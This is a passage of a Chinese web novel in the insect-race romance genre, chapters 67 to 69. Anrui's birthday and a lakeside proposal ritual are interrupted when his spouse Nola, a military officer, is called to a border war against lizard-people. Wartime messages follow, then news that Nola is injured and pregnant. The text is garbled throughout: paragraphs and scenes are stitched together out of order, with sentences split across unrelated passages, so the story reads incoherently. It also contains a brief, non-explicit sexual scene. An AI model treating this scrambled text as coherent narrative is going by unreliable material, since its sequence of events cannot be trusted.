“小艾睡了?” 诺拉点点头,蹭到安瑞身边,轻轻哼了一声:“雄主就会跟艾米套话。” “你这可是冤枉我了。”安瑞忍不住勾起了唇角,把诺拉揽在怀里,“我没还没套话呢,小艾就主动交代了。” 诺拉气得转了个身,用后背对着安瑞:“给我过生日的时候就瞒得好好的,等到了我要给您过生日的时候就全交代了。再这样以后我不管艾米作业了,都您去管。” 安瑞终于忍不住笑出了声,凑到诺拉耳边轻轻说:“啧,我也没在家酿醋啊,怎么这么大的酸味。” “雄主!” 诺拉又气又羞,抬手想打又舍不得,只能用蓝色的眼睛使劲瞪过去。 “那我哪比得上咱们军校的优秀毕业生诺拉中将啊,要是让我辅导,小艾肯定又要考不及格了。” 眼见着自家雌君真的要恼了,安瑞赶紧讨饶:“你是小艾的雌叔,小艾心里肯定更喜欢你呀。” 诺拉抿着唇笑了一下,翻个身往安瑞怀里靠了靠:“反正也被您知道了,我就直接问了,您有什么想要的生日礼物吗,不许说都行。” “下下周才考试,今天上午学了计数和语言,下午是手工课,作业不多。” 诺拉脸上这才露出了几分笑容,轻轻拍了拍小虫崽的肩膀:“再接再厉。” “雌叔。”艾米一脸兴奋,“您让我问的我问出来了。” 诺拉蓦地停住脚步,压低了声音:“你叔父怎么说的?” 小虫崽声音清脆:“叔父说,您送什么他都开心。” 诺拉:…… 安瑞垂眸想了想:“你也知道,我父……雄父和雌父已经去世很多年了,所以我就想,在生日的时候,咱们一家三口好好玩一天,成不?” 诺拉眼眶一红,心里像被狠狠捏了一把。 他咬了咬嘴唇,压下心中的酸涩:“可以啊,怎么不成,5月28日刚好是周末,我不用上班,艾米也不用上学,咱们好好玩一天。” * 时间不知不觉从指尖划过,很快就来到了5月28日。 早上刚一睁眼,安瑞就看到一大一小两只雌虫整齐地趴在他床边,两双如出一辙的蓝色眼睛一眨不眨地盯着他。 就跟蓝星某TOP2大学的录取通知书似的,设计还挺巧妙。 “谢谢小艾,叔父特别喜欢。” 艾米笑得露出了两个甜甜的小酒窝,和安瑞笑成了一团。 诺拉站在旁边,轻轻咳嗽了一声:“艾米,你去厨房把面包烤上。” “哦。”小虫崽从床上爬下来,刚要去厨房,忽然转头看向诺拉,“雌叔,您还没送叔父生日礼物呢。” 诺拉眉头微皱,刚要训话,艾米眼珠一转,紧跟着就哒哒哒跑出去了,只留下一句:“雌叔你和叔父不用着急。” 安瑞:…… 所以你觉得你雌叔要送我的礼物是什么。 诺拉脸也有些发红,强自解释:“艾米的雌训通识已经讲到侍奉雄主的章节了,所以他可能也有点误会。” “这样啊。”安瑞似笑非笑看着坐在床边的雌虫,“我倒是觉得小艾说的这个礼物好。” “雄主!”诺拉气得鼓起腮帮子,从怀里掏出一个精巧的红丝绒首饰盒,扔进安瑞怀里,“您自己看吧。” 首饰盒很小一个,只有巴掌大,安瑞好奇地打开,就看到里面装着一个简约精致的透明水滴形吊坠。 “真好看。” 安瑞夸了一句饶有兴致地把吊坠从首饰盒里拿出来,突然有些发愣。 刚看见的时候,他以为吊坠是水晶或者玻璃做的,可现在又觉得不太对劲。 安瑞被吓了一跳,而后无奈地弯了唇角:“大早上不睡觉,干什么呢?” “生日快乐!” 话音刚落,艾米已经爬上了床,从怀里掏出一个精美的贺卡。 “这是小艾上课学的立体书,送给叔父,祝叔父生日快乐。” “好乖。” 安瑞揽着小虫崽在他额头上亲了一下,小心翼翼地打开贺卡,中间忽然出现了一个立体的生日快乐字样。 一来,水晶的吊坠不会这么轻,二来,这吊坠摸起来居然是温的。 “这是什么做的,感觉不像是水晶啊。” 诺拉微微一笑:“您猜猜?” 安瑞低下头,翻来覆去地研究,忽然就闻到了一股熟悉的香味。 他福至心灵,脱口而出:“不会是你翅翼上的骨刺做的吧?” “雄主真厉害。” 诺拉的脸上浮现出一抹红晕:“我记得您当时夸过我的骨刺,我就用其中一根,做了这个吊 * 当天上午,诺拉和艾米陪着安瑞逛商城买了不少衣服,中午又找了一家饭馆大吃了一顿。 自从安瑞开始售卖各种调料后,不少饭点都改良了菜品,引入了不少安瑞直播间的菜式,红烧肉、糖醋排骨、地三鲜之类的菜品都已经成为了街边饭馆的常见菜式。 虽然这多少会影响味本和谷初的生意,但安瑞倒并不是很介意。 毕竟,他自己的力量有限,要想发展虫族的饮食文化,还是需要依靠大家的努力。 吃过午饭,安瑞原本打算带诺拉和小虫崽去看电影,没想到小虫崽说他已经和伊莱约好了,下午要去伊莱的新家做客。 “我晚上也不回来吃饭了,叔父和雌叔好好享受二虫时光呀。” 艾米虫小鬼大地揶揄了一句,笑着跑开了。 “这孩子。”安瑞无奈地笑了笑,看着旁边的雌虫,“那咱们还去看电影不,小虫崽不在,咱们刚好能看拿个限制级恐怖片。” 没想到诺拉摇了摇头,拉起安瑞的手:“雄主,我能带您去个地方吗?” 安瑞诧异地挑了挑眉,旋即笑道:“好啊。” 他们坐上星舰,诺拉飞快地设置了一个目的地,还挡着不让安瑞看。 安瑞见状,就坐回了位子上,安静地等待自家雌君的安排。 星舰飞了半个多小时,终于降落在了郊区的空地上,安瑞从星舰上走下来,入目是一片湛蓝色的湖,在下午太阳的照射下像一整块昂贵的蓝宝石。 翠绿的树木环绕在四周,配上蓝天白云,别有一番清新自然的韵味。 “好漂亮啊。” 安瑞忍不住感叹一句,虫族人文景观比较多,倒是少见这种纯自然的景色。 诺拉站在安瑞身边,轻轻问:“您知道这个湖叫什么吗?” 安瑞摇摇头“这我还真不知道。” “虫神湖。” 坠。” “胡闹!”安瑞气得皱眉,“骨刺也是能随便拔的吗,疼不疼?” “不疼啊。”诺拉茫然地眨眨眼,“反正拔了也会再长,为什么不能拔,而且就算我不拔,过一段时间旧骨刺也会脱落,然后长出新的。” “那以后也别瞎折腾了,知道不?” “哦。”诺拉随口答应一句,又兴致勃勃地拿起骨刺项链,“我给您戴上吧。” 安瑞转过身,微微低下头,任由诺拉那两条修长有力的小臂穿过他的脖子,帮他戴上骨刺项链。 “谢谢诺拉,我很喜欢这个生日礼物。” 安瑞摸了摸胸前温润的吊坠,回头深深地吻上了自家雌君。 安瑞怔愣了一下,只觉得这个名字十分熟悉,就听诺拉继续说:“传说在远古时期,两位虫神就是在这里相遇,产下了第一个虫蛋,自此创造了虫族。所以,在古代,雌虫遇到了心仪的雄虫,就会请他来虫神湖,向他求婚。” 可惜,随着虫族慢慢步入科技时代,这一项古老的习俗随之凋零,甚至相关仪式的记载也变得残缺不全,诺拉查了很多文献,才勉强把这个习俗搞明白。 诺拉转过身,虔诚地看着安瑞:“雄主,诺拉今天想把这个仪式补上,可以吗?” 第六十七章边境告急 安瑞强忍着怦怦乱跳地心脏,冲诺拉笑着点点头:“我很期待。” 诺拉也有些羞涩地勾了勾唇角,下一刻,一双巨大的翅翼从诺拉背后展开,带着雌虫直飞向虫神湖正上方。 安瑞眼看着诺拉的脸色变了变,降落在地面,收起翅翼,接了语音,没说几句话就挂断了智脑。 他赶紧凑过去:“出什么事了?” “军部的电话,边境出事了。”诺拉抿了抿唇,有些歉然地看着安瑞,“抱歉雄主,我可能要回军部一趟。” “没事,你快去吧,工作要紧。”安瑞拍拍诺拉的肩膀,“你直接开星舰去,我自己找共享星舰回去就行。” “这里是郊区,没有共享星舰。”诺拉拽着安瑞上了星舰,“也没有那么着急,我送您回去的时间总还是有的。” 虽然诺拉嘴上这么说,但安瑞能感觉到诺拉的着急,他甚至都没有启动自动驾驶模式,而是亲自开着星舰风驰电掣地把安瑞送到家,然后又风风火火地直奔军部。 透明的翅翼在阳光的照射下泛着缕缕金光,诺拉在天空上飞翔,翻转,跳跃,做出一个个美轮美奂的动作。 安瑞的眼神几乎黏在了诺拉身上。 如果世界上真的存在天使,应该也不过如此吧。 忽然,一串智脑的铃声打断了美妙的仪式。 要随时上战场,为了国家的利益战斗的军雌。 安瑞一颗心瞬间揪在了一块,他匆忙地打开智脑,在搜索框打下“战争虫族”几个字,却什么消息都没搜出来。 想想也是,国家机密,自然不会公布在网上。 安瑞焦虑地抓了几下头发,打开虫娱,想着刷几个搞笑视频分散一下注意力,却怎么也看不进去。 脑子被诺拉、战争,甚至死亡几组词死死地占领,根本没有空余的经历去接收视频里的信息。 安瑞颓然地关上智脑,把在腿边蹭来蹭去的煤球捞到腿上,轻轻抱在怀里,握着他的小爪子:“诺拉应该你不会有事的,对不对?” 六七个月的半大小狗歪着脑袋,使劲叫了两声,似乎在肯定安瑞的话。 * 与此同时,军部大会议室已经炸开了锅。 亚历克斯拍着桌子:“艹,蜥蜴人居然还他雌的敢来边境,简直是不怕死,打就打,看谁打得过谁。” 夏佐被亚历克斯的大嗓门吵得耳朵疼,冲他摆摆手:“你可快歇会吧,怎么打,派谁打,还得等虫皇和司令员们开完会决定,你着急也没用。” 亚历克斯愤愤地哼了一声,翘着腿坐在位子上,是不是伸长了脖子,往小会议室看。 终于,半个小时后,小会议室的门打开了,虫皇率先走出来,后面跟着三位军团司令还有十几位上将。 会议室里的中将和少将赶紧站起来,纷纷行了军礼。 虫皇走到正中央的位子,摆手让大家落座:“L星的情况相想必各位已经听说了,蜥蜴人的三十万士兵已经在星球成功登陆,与L星球的守军展开了数次战争。边境告急,需要各位的鼎力相助。” 亚历克斯第一个站起来:“虫皇,亚历克斯请战。” 虫皇摆摆手:“你别着急,作战计划已经制定好了,之所以把各位请过来,就是希望各位能上战场,带领士兵击败敌军,守卫虫族的领土。给各位一天假期,后天早上六点,军部集合。” 安瑞靠在沙发上,一双细长的眉毛紧紧地拧在了一块。 来虫族这么长时间,雌君又是中将,安瑞对军部的制度还是略知一二的。 为了保障已婚军雌能更好地照顾雄主,已婚军雌不仅假期比一般军雌多,一般情况下加班也都会优先找未婚雌虫。 能这么着急地把诺拉叫走,肯定是出了什么大事。 自从七年前那场战争之后,虫族一直处于和平状态,和平到安瑞都几乎忘了,自家雌君是只军雌。 “我怎么有点看不明白呢,L星球是最偏远的一颗星球,上面几乎寸草不生,十光年之内一颗星球也没有,距离首都星更是有足足一千光年。”夏佐跟在诺拉身后往外走,“你说蜥蜴人花这么大力气,到底是图什么呢?” 诺拉轻轻摇了摇头:“不知道,不过不管蜥蜴人为了什么,都不能让他们得逞。” “那是自然。”夏佐瞥了一眼身边的好友,“怎么了,情绪不高啊,是不是不舍得和你家雄主分开?” 诺拉垂着头,抿了抿唇:“蜥蜴人科技发达,不在虫族之下,七年前那场战争虫族虽然打赢了,但也是惨胜,我担心……” 从考上帝国军校,再到成为一名军雌,诺拉从来没有惧怕过死亡,甚至觉得自己就应该死在战场。 这么多年,虽然他没参加过什么大规模的战争,但是去边境执行秘密任务也是常事,每次他都冲在第一个,这才能年纪轻轻成为了少将。 可是现在,他却突然有点害怕,害怕死亡,更害怕和自家雄主永远地分开。 “我记得,军部有规定,如果军雌是雄虫的唯一伴侣,就可以申请不参加战争。”夏佐歪头看着诺拉,“你如果不想去,可以跟军部申请的。” “我……”诺拉纠结地抿了抿唇,“我再想想吧。” * “回来了?” 安瑞正在厨房煮面,听到门口的响动,穿着围裙就冲了出来,仔细观察着诺拉的脸色:“咋样,没出什么事吧?脸色怎么这么不好” 诺拉摸了摸蹦跶着撒娇的煤球,勉强扬起一个笑容:“没,我……我这是饿的。” 安瑞使劲一拍脑袋:“小艾在伊莱家吃饭,我以为你赶不及回来吃晚饭了,就只下了点面条,你等会,我去炒两个菜,很快。” 趴在地毯上的煤球也兴奋地摇了摇尾巴,响亮地叫了两声,似乎在肯定艾米的话。 安瑞把小虫崽揽在怀里,故意逗他:“那是维加叔叔做的饭好吃,还是我做的饭好吃啊?” “这个嘛……”艾米嘿嘿一笑,“咖喱牛肉饭好吃还是因为叔父做的咖喱好啊。” “鬼机灵。”安瑞轻轻弹了一下艾米的脑门,“不早了,快去洗漱,明天还要上学。” 把小虫崽哄睡,安瑞回到卧室,诺拉正低着头坐在床边,不知道想什么呢。 安瑞蹑手蹑脚地上了床,从后面轻轻搂住雌虫,吻了吻他的耳尖:“宝贝,想什么呢?” 诺拉靠在安瑞怀里,忽然开口说:“雄主,如果我要去打仗了,您同意吗?” 安瑞心里咯噔一声,手臂不自觉地抱紧了雌虫。 “出事了?” 诺拉闷闷地点点头:“还是蜥蜴人,他们已经在L星球登陆了,边境告急,需要军部支援。” 安瑞的心瞬间沉到了谷底。 他还记得七年前和蜥蜴人的那场战争,虫族牺牲了将近十万士兵,才勉强打退了蜥蜴人。时隔数年,蜥蜴人卷土重来,必然做好了完全的准备。 这场仗,只会比七年前更加凶险。 “不用了雄主,面条就行。” 诺拉跟着安瑞走进厨房,不到十分钟,一大一小两碗热气腾腾的西红柿鸡蛋面就端到了饭桌上。 诺拉沉默地吃饭,安瑞也没再问什么,一时之间,客厅里只剩下吸溜面条的声音。 没过多长时间,艾米背着书包高高兴兴回来了,一进门就扑到沙发上:“雌叔叔父你们知道吗,伊莱的新家超级好,两居室很干净,离我们学校也近。” “真的呀。”安瑞揉揉小虫崽的脑袋,“晚上吃了什么?” “伊莱的雌父给我们做的,咖喱牛肉饭。”艾米意犹未尽地舔舔嘴唇,“好吃。” 似乎是察觉到了安瑞的沉默,诺拉转身和安瑞面对面坐着:“如果您不愿意我去,我可以……” “你想去吗?”安瑞突然打断了诺拉的话,“如果不考虑我。” “我……”诺拉默默地低下头。 “想去就去。”安瑞把雌虫揽在怀里,“家里有我,你别担心。” 诺拉张开嘴巴还要说什么,却被安瑞伸手按住了。 “你听说过那句话吗,前途比爱情重要,但爱情比前途难得。我希望站在你的前途里,而不是成为你梦想的绊脚石。”安瑞亲了亲雌虫的嘴角,“我和艾米,还有小煤球都会在家等你,等着我们的英雄凯旋归来” * 于是,诺拉去前线这件事就这么定下来了。 第二天,诺拉罕见地和安瑞一起去接小虫崽放学,还带他去了一家小虫崽都喜欢的游乐园主题餐厅。 艾米在游乐区疯玩了一圈,才跑回就餐区,眨着一双大眼睛问:“叔父,为什么今天带艾米来这里吃饭啊。” 安瑞和诺拉罕见地沉默了几秒,安瑞轻轻叹了口气,把小虫崽揽到怀里:“你知道雌叔的工作是什么吗?” 如果不考虑雄主,他当然想去。 国仇家恨,以及军雌的责任,都让他不得不去。 但他怎么可能不考虑雄主。 一时之间,卧室安静了下来。 不知道过了多长时间,安瑞忽然笑了,他摸了摸诺拉的脑袋:“不用纠结了,你想去。” 诺拉猛地抬起头:“雄主……” “军雌。”小虫崽脆生生地回答。 “对,所以雌叔明天可能要去前线打仗,保卫咱们的国家了。” 艾米的眼睛里瞬间充满了泪水,他凑到诺拉腿前,吸着鼻子问:“雌叔,您不会像雌父一样丢下艾米,您会回来的,是不是?” 诺拉的眼尾也有些泛红,他把小虫崽抱进怀里,揉了揉艾米柔软的金发,第一次做出了一个他没有把握实现的承诺:“会的,雌叔不会丢下艾米。” * 晚饭后,安瑞洗完澡换了睡衣,在卧室帮诺拉收拾行李。 其实也没有什么可收拾的,毕竟生活必需品军部会提供,收拾到最后也无非就是几套军服。 安瑞刚把东西装好,忽然看到诺拉穿着熟悉的猫咪睡衣从浴室里走出来。 雌虫迈着修长有力的蜜色双腿一步一步走到床边,跪伏在安瑞身前,说出了那句安瑞无比熟悉的—— “请雄主享用。” 第六十八章 暂别 “雄主,我不想要这种舒缓方式。”诺拉用麦色的小臂搂住安瑞的脖子,“我想要您。” 诺拉一边说,一边拉着安瑞的手触上了自己头上的猫耳朵。 “喵。” 低沉的声音里带着几分撒娇,听起来别有一番滋味。 眼看着自家雄主还没反应,诺拉急得晃了晃身后的尾巴:“喵呜,喵喵喵。” 安瑞被诺拉逗笑了,伸手揉了揉诺拉的脑袋,又把他抱在怀里,亲了亲他的嘴角。 诺拉被揉得很舒服,一双蓝色的眼睛眯成了两条缝,嗓子也想猫咪一样发出呼噜呼噜的声音。 安瑞揉了一会儿,手伸到了腰腹下方,还没开始,就被诺拉按住了。 雌虫惊慌失措,像炸了毛的猫一样:“您 ……您干什么!” “你不是想要吗,弄完早点休息。” “我不是,我……我要您!”诺拉气得 眼睛瞪圆了,上手就要把扒安瑞的衣服。 安瑞苦口婆心:“乖,明天还要出证,别闹,用手一样的。” “不行。”诺拉咬了咬牙,“《军雌保护法》里规定了,战争前一夜,雄主必须要临幸即将出征军雌,您不能违反法律。” 安瑞轻轻叹了口气:“那不是为了保证军雌精神海得到充足的抚慰吗?做精神力舒缓也是一样的。” “不一样!” 诺拉固执地搂着安瑞的脖子,一双眼睛却悄然红了。 他别过头,轻轻说:“说不准,这是我最后一次服侍雄主了,上次穿这身衣服的时候被艾米打断了,我还没穿这身衣服完完整整地伺候您一回。” 诺拉能感觉到,雄主是喜欢他扮成猫的。 他怕今天再不穿,以后就没机会了…… “不许胡说!” 安瑞把诺拉抱起来在怀里,用被子紧紧裹住:“明天不是还要早起,早点睡吧。” 一句话出口,他忽然想到了什么,伸手覆在诺拉的额头上:“乖乖,再做一次精神力疏导吧?” 虽然自家雌虫的精神海在规律的疏导下已经非常健康,但战场凶险,驾驶机甲又要耗费大量精神力,安瑞多少还是有些不放心。 他刚要把精神力丝线伸进诺拉的精神海里,手忽然就按住了,怀里的雌虫抬起头,一双苍蓝色的眼睛含着深深的眷恋。 诺拉轻轻笑了一下,他放松了身体,靠在安瑞怀里,眼角带着淡淡的泪痕,声音却异常平静:“这次战争凶险,更胜七年之前,我没法跟您保证什么,如果我……您就忘了我,再找一直雌虫吧。” “你休想!” 安瑞的眼睛也红了,他恶狠狠掐住了诺拉的嘴巴,不让他说出更多伤虫的话。 诺拉轻轻呜呜了两声,红彤彤的眼睛里却露出了笑意,他轻轻拨开安瑞的手,附身使劲吻上了自家雄主玫瑰花一样的唇瓣,呜咽着说:“雄主,求您,就当是最后一次吧。” * 安瑞从来没有做过这么糟心的和谐运动,结束的时候他只觉得整颗心都揪在了一块,又酸又胀。 诺拉垂下眼眸,轻轻说:“八点。” * 早上五点,诺拉轻轻睁开眼,蹑手蹑脚地从床上下来。 昨天他故意把集合时间说晚了两个小时,就是不想让雄主早起送他。 他很怕那这种别离,更怕自己当着其他下属的面掉眼泪,所以他宁愿撒个谎,自己偷偷溜走。 诺拉把包裹放进储物囊里,看着床上熟睡中的雄主,慢慢俯下身,在安瑞的下巴上印下了一个缱绻又清浅的吻。 诺拉蹑足潜踪地走进艾米的房间,看着躺在床上睡得四仰八叉的虫崽,把已经踹到地上的被子捡了起来,给虫崽盖好,摸了摸艾米的脑袋。 “雌叔。” 小虫崽呓语了几句,下意识地蹭了蹭诺拉的手。 军雌唇边露出了一分浅笑,亲了一下虫崽光洁的大脑门,才依依不舍地从艾米的房间退出来,转身进了浴室,从脏衣篓里翻出了那套安瑞昨晚刚刚换下来的米白色睡衣,红着脸放进储物囊的包裹夹层里。 初夏的太阳升得早,不到五点半,第一缕朝阳已经顺着落地窗打了进来,把整个客厅都照得暖洋洋的。 飘窗上的狗窝里,煤球伸了伸爪子,把身体团成一个标准的圆,懒洋洋地晒着太阳。楼上,雄主和小虫崽还在香甜的睡梦中。 反观身边的雌虫状态居然还行,眼睛里的泪痕已经完全消失不见,情绪又回到了十分平稳的状态。 安瑞愤愤地掐了诺拉的脸一下:“我知道你不怕死,但是也不许找死,别想着丢下我和艾米,听见没有。” 诺拉被在自家雄主“深闺怨妇”式的发言逗笑了,凑过去用脸蹭了蹭安瑞的颈窝:“您放心啊,诺拉舍不得的,诺拉会努力好好活着。” “你们明天早上几点集合,我和虫崽去送你。” 或许,这就是他们军雌存在的意义吧。 用自己的浴血奋战,守护家虫平安幸福。 苍蓝色的眸子中浮现出几分坚毅的神色,诺拉最站在门口,最后一次回眸看着这个刚住了几个月,却带给了他无限美好记忆的家,然后毅然决然地打开了门。 * 早上六点半,闹铃准时响起。 安瑞,迷迷糊糊地关上闹铃,忽然想起来诺拉今天要出征了。 原本还带着几分睡意的大脑一下清醒过来,他猛地从床上坐起来,侧身一看,旁边已经空空如也,甚至连他收拾好的包裹也无影无踪。 安瑞的心中生出了几分不好的预感,他光着脚下地,来不及穿拖鞋,几步跑到卫生间。 没有诺拉。 他又跑到厨房。 还是没有诺拉。 安瑞把小虫崽抱在怀里:“没事,叔父有办法,你现在抓紧时间换衣服,五分钟 之后出发。” 安瑞带着小虫崽上了星舰,直奔军部。 军部外面虫山虫海,都是来给军雌送行的家属。 安瑞凭借着雄虫的独特优势在一众雌虫和亚雌中杀出一条血路,在家属们或惊讶或艳羡的目光中,抱着小虫崽顺利挤进了第一排。 因为来的有些迟,出征仪式已经结束了,甚至不少军雌都已经登上了军舰。 安瑞的心有些发沉。 诺拉是第一军团的中将,不会已经登上军舰了吧。 那可真就连最后一面都见不到了。 一想到这,安瑞就恨得牙痒痒,等诺拉回来,他非得好好跟这只傻虫子掰扯掰扯。 忽然,艾米惊呼了一声:“叔父,雌叔出来了。” 安瑞立刻抬起头,顺着艾米 手指的方向看,就见远处一只熟悉的 军雌穿着深蓝色军装,身姿挺拔,带着一队军雌,登上了星舰 。 虽然明知道诺拉八成不会往这边看,安瑞还是垫着脚尖,使劲冲那边挥舞着胳膊。 或许是心有灵犀,诺拉忽然抬起头,朝家属区看过来。 雌虫的示例比雄虫强上好几倍,诺拉一眼就看见了虫群中的安瑞。 家属区不让大声喧哗,安瑞只好 反反复复做着口型,每一次说的都是平安两个字。 安瑞里里外外把整个家找了个遍,终于确定了一个事实。 他家雌君,背着他去军部报道了。 腿边旋转的煤球叫了几声,艾米打着哈欠从屋子里走出来:“叔父,雌叔呢?” “雌叔已经去军部了。” 艾米瞪大了眼睛 ,然后肉眼可见地郁闷了起来:“昨天不是说好了今天早上送雌叔吗,雌叔怎么就自己走了。” 诺拉的眼睛再一次红了,他使劲攥着拳,让指甲扣紧肉里,才勉强没有失态。 趁着转身上军舰的功夫,诺拉朝家属区点了点头,蔷薇色的唇瓣轻轻打开,又很快闭上。 ——雄主放心。 * 诺拉出征后,安瑞的心一下就空了一片。 安瑞第一次觉得,两米的床真的好大。 诺拉离开后,安瑞原本以为自己只能从帝国新闻了解到关于他的一点消息,没想到第二天傍晚,安瑞就收到了来自诺拉的智脑信息。 是一张星空的图,墨蓝色的宇宙里,星星点点的行星散发着金色的光芒,远处无数的暗星组成了一条银紫色的棒旋星系,像一条漂亮的腰带,点缀在星空上。 安瑞激动地手都在抖,慌忙戳字。 ——好漂亮,你居然可以发消息。 对面隔了好几分钟才回复。 ——可以,就是信号不太稳定,只能发消息不能打视频0.0…… 安瑞被诺拉的颜文字逗得勾了勾唇角。 ——你吃晚饭了没0.o 这次对面回的很快。 ——吃过了,营养液还有两个配菜,不怎么好吃0^0 ——图片.jpg 安瑞看着图片上黑乎乎的牛肉和煮的稀烂的白菜,忍不住勾了勾唇角,忽然想起了什么,咬着牙戳字。 ——前两天是谁跟我说早上集合的,太过分了!!! 他也说不上来是为什么,明明每天的生活依旧是差不多的,早上起来先遛煤球,再处理一下餐厅和公司的日常事务,直播两三个小时,下午剪视频,给小虫崽做晚饭,晚上再把小虫崽哄睡。 可能是因为,吃饭的时候,属于诺拉的位置空了,也可能是因为,睡觉的时候,枕边只有一床叠好的被子 。 不知道是不是信号又不好了,这次安瑞等了十几分钟才收到回复。 ——雄主我错了,我们该熄灯了,雄主晚安Zzz 安瑞轻笑出声,把夜空的图片设置成智脑页面,这才关上智脑,熄灯睡觉。 第六十九章 变故 “叔父!”艾米放下书包,抱着煤球扑到安瑞腿上,“我月考拿了第一名。” “我家小艾这么棒啊。”安瑞揉揉小虫崽的金发,“要不要告诉雌叔?” “好!” 安瑞轻轻勾起唇角,脑海中一下就浮现出诺拉那副气闷又无可奈何的表情。 ——我不管,反正我已经答应了,你记得回来兑现承诺。对了,我的那套睡衣你看见了吗,米白色上面带粉色兔子的,我记得就放在脏衣篓里了呀。 对面又是隔了十几分钟才回复。 ——我不知道哎,要不您再买一套吧? ——转账520星币。 安瑞笑着点了收款。 ——感谢老板包养费0w0。 * 然而,快乐的时光总是短暂的,五天后,部队就抵达了L星球,然后迅速投入了战争。 自此之后,诺拉给安瑞发信息的频率骤然降低,且回复时间非常不固定,就算回复也只是 寥寥数语,譬如“平安”“一切顺利”“别担心”之类的短语,然后就又是长久断联。 安瑞也只能每天在蹲在虫网上,关注军部发出来的新闻。 不过好在,三五天也好,一两周也罢,安瑞总能勉强收到诺拉的消息,虽然也明知自家雌君很可能报喜不报忧,但战场艰险,能活着就已经很好了,除此之外安瑞也实在不敢奢求更多。 直到一个多月后的一天晚上,安瑞正靠在床头例行刷智脑,忽然就收到了诺拉的信息。 小虫崽拿出试卷,安瑞拍了照发给了诺拉。 过了不到半个小时,诺拉回消息了。 ——艾米的考试成绩?还不错,让他继续努力,另外计数那一分不该丢。 安瑞挑了挑眉毛 ,再次对诺拉过于严格的教育方式感到无语。 ——我已经跟小艾说了,这次考得很好,等你回来咱们一起带他去动物园。 页面持续了很久“对方正在输入中”的文字,终于弹出了新消息。 ——您老是这样,会把小虫崽惯坏的0^0! ——雄主,接下来一段时间我可能没法回复消息了,您别担心。 安瑞的心咯噔一声,一双手飞快地打字。 ——出什么事了吗? ——对不起我不该问这些,你要是不方便说也没事。 ——注意安全,结束之后给我发信息。 他疲惫地靠在床头,使劲揉了揉酸胀的眉心。 那天晚上是诺拉离开后,安瑞第一次失眠。 * 自从那天之后,诺拉果然杳无音讯,安瑞有几次试着发了信息,也全部石沉大海,他只好 每天盯着军部官方账号,期待能发点前线的消息。 三天后,军部官方账号终于更新了新闻,声称首都星时间凌晨五点半,侵略者被虫族士兵完全击退,主力已经撤出L星。 安瑞提着心的终于暂时放了下来,然而,给诺拉一连发了好几条消息。 原本他以为战争结束,就算是有一些列善后工作,也不影响诺拉 抽空回个消息,然而,他等了一个礼拜,诺拉那边依旧杳无音讯。 这次对面回的很快。 ——雄主放心。 ——等这次结束了,我有个惊喜要和您说0wo。 安瑞怔怔地看着聊天框里的文字,半晌才放下手机。 好不容易放下的心再一次提了起来,安瑞的脑子里不由自主地浮现出各种各样不好的猜测。 他不敢在艾米面前表现出来,就只能一边安抚小虫崽,一边在夜深无虫之时默默祈祷。 安瑞原本是个坚定的无神论者,至少他从来不相信什么虫神。 然而在诺拉失联长达两个礼拜的时候,安瑞还是忍不住在网上买了一个虫神的雕塑,甚至按照虫族的礼节虔诚地祷告。 如果虫神真的存在,他希望虫神能保佑自家雌君,平安归来。 或许是祷告真的有作用,第二天,帝国新闻联播对前线进行了短暂的播报。 【敌方集结大量部队反扑L星球,我军紧急组织军力顽强抵抗】 但饶是如此,安瑞依旧没办法放下心来,虽然新闻只是一笔带过,很快又报道起首都星即将在 7月8日举办虫神节庆典,N星球今年水稻 产量颇丰,但安瑞明白,这无非是帝国不愿意引起平民的恐慌。 就冲着那天诺拉发给他的只言片语,安瑞也基本上能断定,这次蜥蜴人的反扑规模,绝对更胜最开始的进攻。 恐怕又是一场鏖战。 安瑞对军事一窍不通,只能密切地关注新闻,同时通过军部官方账号卫国有我的捐款链接捐赠了500万星币。 就这样,时间一天一天过去,小虫崽结束了期末考,又不出所料地拿到了班级第一。虫神节当天,安瑞带艾米去逛了虫神节庆典。 他给买了像火炬筒一样高的冰激凌,和小虫崽一起分着吃了。 小虫崽的评价是冰激凌太甜了,不如安瑞做的甜品好吃,但安瑞想到的却是,如果诺拉在,应该会喜欢吧。 毕竟自家雌君这么喜欢吃甜的。 吃过冰激凌,艾米看上了套圈摊位最后面的毛绒熊,可惜他年龄太小,还没有发育出雌虫的种族天赋,一连套了五十个圈都没有套中,最后还是另一只逛庙会的单身雌虫看不下去了,主动请缨帮艾米套到了玩具熊。 安瑞非常客气地请雌虫吃了烤串,在雌虫一脸娇羞地像他递联系方式的时候,毅然决然地拒绝了他,并在心里腹诽 ——这只雌虫套了五个圈才套中,要是他家雌君在,肯定一圈一个,把全场的玩具全部套一个遍。 当时安瑞正在一边听新闻一边准备晚饭,听到这个消息的时候,安瑞心脏骤停,等他再反应过来的时候,已经把鸡蛋液打进了垃圾桶,搅拌器里只剩下两瓣光秃秃的鸡蛋壳。 汗水一下就打湿了T恤衫,安瑞的心情像做了过山车一样复杂。 他现在基本上能断定,蜥蜴人的这次反攻早就在军部的计划之内,要不然诺拉也不会在那天晚上突然安给他发消息。 所以诺拉这两周多的失联,大概率不是出了什么事,而是在组织防守。 想着想着,安瑞的眼角又有点嫌弃地撇撇嘴。 明明只是一个庆典游园会,为什么看到什么都会想起诺拉。 他又不是深闺怨妇,没了丈夫活不下去的那种。 可想着想着,安瑞的眼角又悄然红了。 怨妇就怨妇吧,只要诺拉能好好地回来,说他是什么都行。 军部隔上两三天就会发条前线的新闻,但内容无非就是面对敌军的猛烈攻势,我军英勇抵抗,相信在不久的未来,虫族一定可以打败侵略者,在这场战争中取得最后的胜利。新闻结尾还不忘宣传一下他们的捐款链接。 安瑞差点手一抖把智脑摔在地上。 他的手指剧烈的颤抖,一连点了好几次才点中了接听键。 智脑那边传来了夏佐焦急又克制的声音。 “阁下,不好了,诺拉……诺拉出事了。” 安瑞的脑袋嗡的一声,眼前发黑腿发软,差点摔在地上。 他赶紧靠在承重墙上,做了几次深呼吸,才颤抖着嘴唇开口:“出事了,什么叫出事了?” “最近蜥蜴人反攻的厉害,诺拉带队执行任务的时候,军舰被敌方的光能冲击炮打中,精神海严重受损。在拉到后方医院检测的时候,被检测出来已经怀了将近三个月的虫蛋了。” 虫蛋? 居然怀上虫蛋了? 算算日期,怕不是诺拉出征前一晚那次怀上的。 安瑞有些懊悔地皱了皱眉:“所以诺拉现在怎么样?” “诺拉怀孕,所以没法用精神舒缓剂,再加上肚子里的虫蛋对精神力有要求很高,诺拉状态很不好,恐怕……” 安瑞急得跺脚:“那没有虫蛋是不是就能用舒缓剂了,那你让医院给他做引产手术,先保住诺拉再说啊。如果需要我签字什么的都好说。” 